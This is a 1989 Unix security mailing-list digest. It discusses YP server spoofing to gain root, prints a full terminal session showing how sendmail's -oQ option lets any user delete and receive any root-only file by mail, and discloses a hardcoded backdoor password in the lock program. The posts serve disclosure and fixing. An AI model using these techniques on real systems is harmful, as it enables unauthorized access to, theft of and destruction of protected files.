Date: Mon, 23 Jan 89 06:24:15 PST ------------------------------------------------------------------------ Date: Fri, 13 Jan 89 23:09:06 EST From: Jon Rochlis Subject: Re: Yellow Pages Bug On a releated note, there probably quite serious problems with YP even forgeting about yppasswd and that flavor of attack. I don't know much about YP's implementation and haven't used Suns in about a year and half, but spoofing the YP server shouldn't be difficult at all. What happens if I flood a target machine with YP responses for a /etc/passwd yp lookup for root (or some random username with uid = 0) including a password string I know (or no password). Odds are my packets will get there first (and in quantity) and any reply from the real YP server will be lost. Presto I'm in. The attack is only slightly more difficult if YP uses source IP addresses and/or low number ports for authentication: then I need root someplace or a PC on the net or something like that, but we should assume that is trivial to come by in this day and age. Faking the IP addresses is trivial. (And I can do it from anywhere on the Internet.) ------------------------------------------------------------------------ Date: Sun, 15 Jan 89 10:56:47-0800 From: uunet!okeeffe.Berkeley.EDU!bostic (Keith Bostic) Subject: Tightening security on SunOS 4.0 'fastfind' If you just run the find program as a pseudo-user with no permissions, only those directories that users have not protected will be added to the database. To simply not add files because they reside on a mount point that has users on it isn't useful. ------------------------------------------------------------------------ Date: Sun, 15 Jan 89 11:01:48 PST From: uunet!maxwell.mmwb.ucsf.EDU!rodgers Subject: Moderated security list I am very pleased to find that you are now moderating the list. However, I would strongly suggest that there be a header on each collected issue, with a volume number and issue number on it, to facilitate filing the information away, and to facilitate making references to earlier material. A good example is offered by the moderated list known as SunSpots, for Sun users. [done.] ------------------------------------------------------------------------ Date: 16 Jan 89 9:45 +0100 From: "Hannes P. Lubich" Subject: Re: Yellow Pages Bug reading the recent moderated zardoz list mailings I'm getting sick and tired of this "I have found this bug that is the most dangerous at all but I won't show you" attitude that was expressed in both the passwd/chfn and the YP related postings from Germany. What drives me absolutely crazy it that the author seem to have detailed knowledge but does at lot of information hiding, especially when it comes to a detailed description of the problem and (possibly) propagation of fixes. [I appreciate the sentiment, but previous and current postings have in many cases revealed security bugs including break-in methods.] ------------------------------------------------------------------------ Date: Mon, 16 Jan 89 17:34:03 est From: uunet!prcrs!paul (Paul Hite) Subject: Yet Another Sendmail Bug A bug exists in sendmail that allows any user to remove any file and mail it somewhere. The only restriction is that the user must know the pathname of the file. Below are the results of an Ultrix test. I got identical results with HP-UX. This bug can be used to forge mail. Sendmail offers several ways to forge mail, but this bug can be used for much more than just forging mail. Here we use a queue file to "snatch" a target file: Script started on Sun Jan 15 12:46:56 1989 <21> ls q* qfbogus <22> grep secret q* D/etc/deep.secret All queue files have names that match "qf*". The queue file contains many lines, but the "D" line identifies the target file. Sendmail will be root as it eats the target. No file permissions can save the target file from this attack. Now let's remove the target and receive it via mail: <23> ls -lg /etc/deep.secret -r-------- 1 root system 125 Jan 15 12:42 /etc/deep.secret <24> /usr/lib/sendmail -q -oQ. <25> ls -lg /etc/deep.secret ls: "/etc/deep.secret": No such file or directory I used root only to create the deep.secret file. This test was done as "paul". /etc/deep.secret has been delivered to my mailbox. Any user can do this to any file. <26> prmail | tail Date: Tue, 3 Jan 89 12:51:44 -0100 From: paul (Paul Hite) To: paul Subject: test sendmail bug This is the contents of the deep.secret file. Only root may see this file. secret 2 secret 3 end of secret file deep.secret <27> script done on Sun Jan 15 13:01:20 1989 Some thoughts on closing this hole: The -oQ option is the culprit. I suggest simply losing the -oQ option. This is really just another debugging feature. If we must have a -oQ option then is should be available only to root. Or perhaps the directory specified should be owned by root. The -oQ option must be removed or restricted in some way. This hole is more than just a way to read protected files. By targeting files like /etc/passwd, /{vmunix,hp-ux}, etc it is possible to do considerable damage. This is apparently old news to some people. If fact, Ning Zhang tells me that it was common knowledge at his University in the People's Republic of China several years ago! Still, it was news to me. Folks, if there are other bugs out there, please speak up. Let's get these bugs out in the open. ------------------------------------------------------------------------ Date: Mon, 16 Jan 89 17:46:26 est From: uunet!prcrs!paul (Paul Hite) Subject: trapdoor in lock Here is a message that I picked off Usenet awhile ago: > No kidding. The 4.1BSD [I think] `lock' had a hardcoded magic > unlock password ("hasta la vista"), and ^Z would stop it as > The Ultrix "lock" doesn't respond to ^Z, but it does have the "hasta la vista" password compiled in. Previous messages in the thread pointed out that lock programs can be blow off and spoofed. Still, "hasta la vista"? ------------------------------------------------------------------------ Date: Tue, 17 Jan 89 00:25:47 EST From: uunet!attcan!utzoo!henry Subject: atoi replacement > - Never use atoi. Instead, come up with a new routine (mine is called > SToN) that accepts a string and a pointer to an int... Please don't reinvent the wheel unnecessarily. Look up the strtol() function in System V, which has been adopted pretty much straight by the ANSI C people. ------------------------------------------------------------------------